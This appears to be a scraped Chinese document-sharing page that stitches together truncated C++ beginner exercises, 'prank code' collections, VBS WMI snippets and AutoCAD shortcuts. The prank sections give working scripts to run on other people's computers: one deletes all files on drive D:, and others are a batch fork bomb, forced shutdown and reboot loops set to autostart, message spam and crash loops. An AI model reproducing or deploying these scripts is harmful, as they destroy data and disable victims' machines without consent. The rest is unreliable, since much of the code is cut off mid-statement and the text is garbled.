C++经典练习程序代码

C++经典练习程序代码
C++经典练习程序代码

#include

main()

{

//用SIZEOF计算常量长度

cout<<"sizeof('$')="<

cout<<"sizeof(1)="<

cout<<"sizeof(1.5)"<

cout<<"sizeof(\"Good!\")="<

//sizeof计算变量长度

int i=100;

char c='A';

float x=3.1416;

double p=0.1;

cout<<"sizeof(i)="<

cout<<"sizeof(c)="<

cout<<"sizeof(x)="<

cout<<"sizeof(p)="<

//用SIZEOF()计算表达式长度

cout<<"sizeof(x+1.732)="<

//

cout<<"sizoef(char)="<

cout<<"sizoef(int)="<

cout<<"sizeof(float)="<

cout<<"sizeof(double)="<

//用SIZEOF()算数组字节长

char str[]="This is a test";

int a[10];

double xy[10];

cout<<"sizeof(str)="<

cout<<"sizeof(a)="<

cout<<"sizeof(xy)="<

//用SIZEOF 算自定类型字节长

struct st

short num;

float math_grade;

float Chinese_grade;

float sum_grade;

};

st student1;

cout<<"sizeof(st)="<

cout<<"sizeof(student)="<

#include

main()//测试表达式类型转换

{

int n=100,m;

double x=3.791,y;

cout<<"n*x="<

//赋值类型转换

m=x;

y=n;

cout<<"m="<

cout<<"y="<

//强制转换

cout<<"int(x)="<

cout<<"(int)x="<<(int)x<

cout<<"int(1.732+x)="<

cout<<"(int)1.732="<<(int)1.732<

cout<<"double(100)="<

//*/

}

-----------==================------------------------ #include

main()

{

int score;

cout<<"score=";

cin>>score;

if(score<0||score>100)

{

cout<<"The score is out of range!"<

}

else if(score>=90)

cout<<"you grage is a A"<

else if(score>=80)

cout<<"you grade is a B"<

else if(score>=70)

cout<<"you grade is a C"<

else if(score>=60)

cout<<"you grade is a D"<

else

cout<<"you grade is a E"<

}

#include

main()

{

int x,y,z;

char c1;

cin>>x>>c1>>y;

switch(c1)

{

case '+':cout<

break;

case '-':cout<

break;

case '*':cout<

break;

case '/':cout<

}

}

---------------------------======================================= #include

main()

{

//

for(int i=1;i<=10;i++)

cout<

cout<

//

for(int j=10;j>=1;j--)

cout<

cout<

//

for(int k=1;k<=10;k=k+2)

cout<

cout<

//

for(char c='A';c<='Z';c++)

cout<

cout<

for(float x=0;x<=1.0;x=x+0.1)

cout<

cout<

//

for(float x1=0;x1<=1.0+0.1/2;x1=x1+0.1) cout<

cout<

//

int s=0;

for(int n=1;n<=100;n++)

s=s+n;

cout<<"i="<

}

cout<

}

//找出数组最大者,及下标

int h,l,Max=a[0][0];

for (i=0;i<2;i++)

for(j=0;j<3;j++)

if(Max

{

Max=a[i][j];

h=i;

l=j;

}

cout<<"Max="<<"a["<

return 0;

}

---=============================----------------------

#include

using namespace std;

#define n 8

int main()

{

//指针与引用的测试

int a,b,c,*ip;

//

a=100;

ip=&a;

cout<<"a="<

cout<<"*ip="<<*ip<

cout<<"ip="<

ip=&b;

b=200;

cout<<"b="<

cout<<"*ip="<<*ip<

cout<<"ip="<

ip=&c;

*ip=a+b;

cout<<"c="<

cout<<"*iP="<<*ip<

cout<<"ip="<

return 0;

}

-----------=============================---------------------

#include

//#include

//using namespace std;

int main()

{

//

int i;

struct student

{

int num;

char name[20];

float maths;

float physics;

float chemistry;

double total;

};

student st[3];

cout<<" num name maths physics chemistry total "<

for(i=0;i<3;i++)

{

cout<

cin>>st[i].num;

cin>>st[i].name;

cin>>st[i].maths;

cin>>st[i].physics;

cin>>st[i].chemistry;

}

for(i=0;i<3;i++)

st[i].total=st[i].maths+st[i].physics+st[i].chemistry;

for(i=0;i<3;i++)

{

cout<<"st["<

cout<

cout<

cout<

cout<

cout<

cout<

}

return 0;

}

----=============================--------------

#include

//#include

//using namespace std;

int main()

{

//

struct human

{

char name[10];

int sex;

int age;

};

struct human x={"WangPing",1,30},*p=&x;

cout<<"(*p).name="<<(*p).name<

cout<<"(*p).sex="<<(*p).sex<

cout<<"(*p).age="<<(*p).age<

cout<<"===================="<

p=new human;

//

cout<<"p->name=";

cin>>p->name;

cout<<"p->sex=";

cin>>p->sex;

cout<<"p->age=";

cin>>p->age;

cout<

cout<<"p->name="<name<

cout<<"p->sex="<sex<

cout<<"p->age="<age<

delete p;

return 0;

}

--------------============================------------

#include

main()

{

struct date

{

int year;

int month;

int day;

};

struct baby

{

int num;

float weight;

date birthday;;

};

baby b1={10001,10,{2002,12,25}};

cout<<"b1.num"<

cout<<"b1.weight="<

cout<<"b1.birthday.year="<

cout<<"b1.birthday.month="<

cout<<"b1.birthday.day="<

cout<<"-------------------"<

baby temp;

temp=b1;

cout<<"temp.num="<

cout<<"temp.weight="<

cout<<"temp.birthday.year="<

cout<<"temp.birthday.month="<

cout<<"temp.birthday.day="<

}

----------===========================================-------------------- #include

main()

{

int i;

struct student

{

char name[10];

int math;

int computer;

float sum;

student *next;

};

struct student *head,*tail,*temp;

temp=new struct student;//申请内存

head=temp;

tail=head;

cout<<"\tname Math Computer "<

for(i=0;;i++)

{

cout<

cin>>temp->name;

if(temp->name[0]!='*')

{

cin>>temp->math>>temp->computer;

temp->sum=temp->math+temp->computer;

temp->next=NULL;

tail=temp;

}

else

{

delete temp;

tail->next=NULL;

break;

}

temp->next=new struct student;

temp=temp->next;

}

//

cout<<"-----------------------"<

temp=head;

while(temp!=NULL)

{

cout<name<<","<math<<",";

cout<computer<<","<sum<

temp=temp->next;

}

}

---------==============================================------------------------- //双链表前后篇历算法。

#include

main()

{

int i;

struct student

{

char name[10];

int math;

int computer;

float sum;

student *forw;

student *next;

};

struct student *head,*tail,*temp;

temp=new struct student;

head=temp;

tail=temp;

head->forw=NULL;

cout<<"\tname Math Computer"<

for(i=1;;i++)

{

cout<

cin>>temp->name;

if(temp->name[0]!='*')

{

cin>>temp->math>>temp->computer;

temp->sum=temp->math+temp->computer;

temp->next=NULL;

tail=temp;

}

else

{

delete temp;

tail->next=NULL;

break;

}

temp->next=new struct student;

temp->next->forw=temp;

temp=temp->next;

}

cout<<"head---------tail:"<

temp=head;

while(temp!=NULL)

{

cout<name<<","<math<<",";

cout<computer<<","<sum<

temp=temp->next;

}

cout<<"tail------------>head:"<

temp=tail;

while(temp!=NULL)

{

cout<name<<","<math<<",";

cout<computer<<","<sum<

temp=temp->forw;

}

}

-----=================================------------------------------- //UNION联合应用, 联合内各元素,点用同一内存空间,

#include

main()

{

int i;

union utag

{

char c;

int k;

float x;

};

utag u;

u.c='*';

cout<<"u.c="<

u.k=1000;

cout<<"u.k="<

u.x=3.1416;

cout<<"u.x="<

utag u1={'A'};

cout<<"sizeof(u1)="<

cout<<"sizeof(utag)="<

cout<<"u1.c="<

cout<<"u1.k="<

cout<<"u1.x="<

-----------=======================================--------------

#include

struct student

{

int num;

char name[20];

float grade;

};

void main()

{

int i,size;

char str[]="This a string.";

int int_values[]={51,23,2,44,45,0,11};

float float_values[]={5.1,13.3,22.2,10.4,1.5};

student st_arr[]={101,"WangLin",92,102,"LiPing",85,103,"ZhaoMin",88};

size=sizeof(str)/sizeof(char);

cout<<"Number of elements in str:";

cout<

for(i=0;i

{

cout<

}

cout<

//float

size=sizeof(float_values)/sizeof(float);

cout<<"Number of elements in float_value:";

cout<

for(i=0;i

{

cout<

}

cout<

//

size=sizeof(st_arr)/sizeof(student);

cout<<"Number of element in st_arr:";

cout<

for(i=0;i

{

cout<

cout<

cout<

}

}

-------------===============================================---------------------- //自定函数应用

#include

double add(double x,double y)

{

double z;

z=x+y;

cout<

return (z);

}

void main()

{

double a=0.5,b=1.0;

cout<<"add(1.4,2.5)="<

cout<<"add(a,b)="<

cout<<"add(2*a,a+b)="<

cout<<"================="<

double c=2*add(a,b);

cout<<"c="<

cout<<"================="<

add(2*a,b);

cout<<"=================="<

int n=1,m=2;

cout<<"add("<

}

--========================================---------------------------------------------- -#include

int sgn(double x)

{

if(x>0)return (1);

if(x<0)return (-1);

return (0);

main()

{

double x;

int i;

for(i=0;i<=2;i++)

{

cout<<"x=";

cin>>x;

cout<<"sgn("<

}

}

--------------------==============================------------------- #include

main()

{

float max(float,float);

float a,b,Max;

cout<<"a=";

cin>>a;

cout<<"b=";

cin>>b;

Max=max(a,b);

cout<<"max("<

}

float max(float x,float y)

{

float z;

z=(x>y)?x:y;

return (z);

}

------------------===============================-------------

#include

struct student

{

char name[10];

float grade;

};

void swap(student &x,student &y)

student temp;

temp=x;

x=y;

y=temp;

}

student& max(student &x,student &y)

{

return (x.grade>y.grade?x:y);

}

void show(student &x)

{

cout<

}

void main()

{

student a={"ZhangHua",351.5},b={"WanJun",385};

cout<<"a:";

show(a);

cout<<"b:";

show(b);

cout<<"---------------------"<

swap(a,b);

cout<<"a:";

show(a);

cout<<"b:";

show(b);

cout<<"-------------------"<

student t=max(a,b);

cout<<"Max:";

show(t);

}

-----------------------=====================================----------------- #include

disp(int x=1,int y=1,int z=1)

{

cout<<"参数1:"<

cout<<"参数2 "<

cout<<"参数3 "<

cout<<"------------------------"<

}

void main()

{

disp();

disp(10);

disp(10,20);

disp(10,20,30);

int a=1,b=2,c=3;

disp(a,b,c);

}

----------------------==========================-----------------------

#include

int str_len(const char *string)

{

//char *temp=string; //error

//*string='x'; //error

int i=0;

while(*(string+i)!=NULL)

i++;

return i;

}

void main()

{

char a[]="ABCDE";

cout<

char *str="hello";

cout<

cout<<"This is a test."<<"\t"<

}

--------================================================------------------- #include

int abs(int x);

long abs(long x);

float abs(float x);

//

void main(void)

{

int i1=32767,i2=-32767;

long l1=45678,l2=-45678;

float x1=1.1234,x2=-1.1234;

cout<

cout<

cout<

}

int abs(int x)

{

if(x<0)

return -x;

else

return (x);

}

long abs(long x)

{

if(x<0)

return (-x);

else

return (x);

}

float abs(float x)

{

if(x<0)

return (-x);

else

return (x);

}

------------------------===================================-------------- #include

main()

{

int fact(int x);

int n,sn;

for(int i=1;i<=3;i++)

{

cout<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

C经典程序代码大全

//根据半径计算圆的周长和面积#include const float PI=3.1416; //声明常量(只读变量)PI为3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout<<"r="; //显示字符串 cin>>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout<<"l="<= 80 && s < 90) { MessageBox.Show("良好"); } else if (s >= 70 && s < 80) { MessageBox.Show("中"); } else if (s >= 60 && s < 70) { MessageBox.Show("及格"); } else { MessageBox.Show("不及格"); } } 2)一元二次方程求解 private void button1_Click(object sender, EventArgs e) { double a = double.Parse(txb_A.Text), b = double.Parse(txb_B.Text), c = double.Parse(txb_C.Text); if (a == 0) { MessageBox.Show("方程的根是:" + (-c / b).ToString()); } else { double delta = Math.Pow(b, 2) - 4 * a * c;

if (delta >= 0) { double X1 = (-b + Math.Pow(delta, 0.5)) / 2 * a; double X2 = (-b - Math.Pow(delta, 0.5)) / 2 * a; string temp = "X1="+X1.ToString()+"\r\nX2="+X2.ToString(); MessageBox.Show(temp); } else { MessageBox.Show("没有实数根!"); } } } 3)1-100之间所有整数的和,能被某数整除的所有整数的和,积 private void button1_Click(object sender, EventArgs e) { int sum = 0; for (int i = 0; i <= 100; i = i + 1) { sum = sum + i; } textBox1.Text = sum.ToString(); } 求1~100之内所有偶数的和 int sum = 0; for (int i = 0; i <= 100; i = i + 2) { sum = sum + i; } textBox1.Text = sum.ToString(); private void button1_Click(object sender, EventArgs e) { int sum = 0; int a; for (int i = 0; i <= 100; i++) { a = i % 7; if (a == 0) { sum = sum + i;

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

c++经典代码大全

#include //包含iostream.h头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以十进制形式显示数据 cout<<"DEC:"; cout<<" a="< float x=365.5; //声明全局变量 main() { int x=1,y=2; double w=x+y; { double x=1.414,y=1.732,z=3.14; cout<<"inner:x="<

整人代码大全

整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1s if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”, 保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。

善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机, 不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true

VBS经典代码大全

VBS代码片断大全[一] 1 VBS 取得本机IP strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For Each strAddress in IPConfig.IPAddress WScript.Echo strAddress Next End If Next -------------------------------------------------------------------------------- 2 取得本机计算机名 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem") For Each objComputer in colComputers Wscript.Echo https://www.360docs.net/doc/5a11593895.html, Next -------------------------------------------------------------------------------- 4 检查升级包 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." & objOperatingSystem.ServicePackMinorVersion Next -------------------------------------------------------------------------------- 5 检查Hot Fix strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering") For Each objQuickFix in colQuickFixes Wscript.Echo "Description: " & objQuickFix.Description

C命令特殊符代码大全

C命令特殊符代码大全 The pony was revised in January 2021

特殊符号代码

常见的快捷命令

(一)字母类 1、对象特性 ADC,*ADCENTER(设计中心“Ctrl+2”)CH,MO*PROPERTIES(修改特性“Ctrl+ 1”)MA,*MATCHPROP(属性匹配)ST,*STYLE(文字样式)COL,*COLOR(设置颜色) LA,*LAYER(图层操作)LT,*LINETYPE(线形)LTS,*LTSCALE(线形比例)LW,*LWEIGHT (线宽)UN,*UNITS(图形单位)ATT,*ATTDEF(属性定义)ATE,*ATTEDIT(编辑属性)BO,*BOUNDARY(边界创建,包括创建闭合多段线和面域)AL,*ALIGN(对齐)EXIT,*QUIT (退出)EXP,*EXPORT(输出其它格式文件)IMP,*IMPORT(输入文件)OP,PR*OPTIONS (自定义CAD设置)PRINT,*PLOT(打印)PU,*PURGE(清除垃圾)R,*REDRAW(重新生成)REN,*RENAME(重命名)SN,*SNAP(捕捉栅格)DS,*DSETTINGS(设置极轴追踪)OS,*OSNAP(设置捕捉模式)PRE,*PREVIEW(打印预览)TO,*TOOLBAR(工具栏)V,*VIEW (命名视图)AA,*AREA(面积)DI,*DIST(距离)LI,*LIST(显示图形数据信息) 2、绘图命令: PO,*POINT(点)L,*LINE(直线) XL,*XLINE(射线)PL,*PLINE(多段线) ML,*MLINE(多线)SPL,*SPLINE(样条曲线) POL,*POLYGON(正多边形)REC,*RECTANGLE(矩形) C,*CIRCLE(圆)A,*ARC(圆弧)DO,*DONUT(圆环)EL,*ELLIPSE(椭圆)REG,*REGION(面域)MT,*MTEXT(多行文本)T,*MTEXT(多行文本)B,*BLOCK(块定义)I,*INSERT(插入块)W,*WBLOCK(定义块文件)DIV,*DIVIDE(等分)H,*BHATCH(填充)

相关文档
最新文档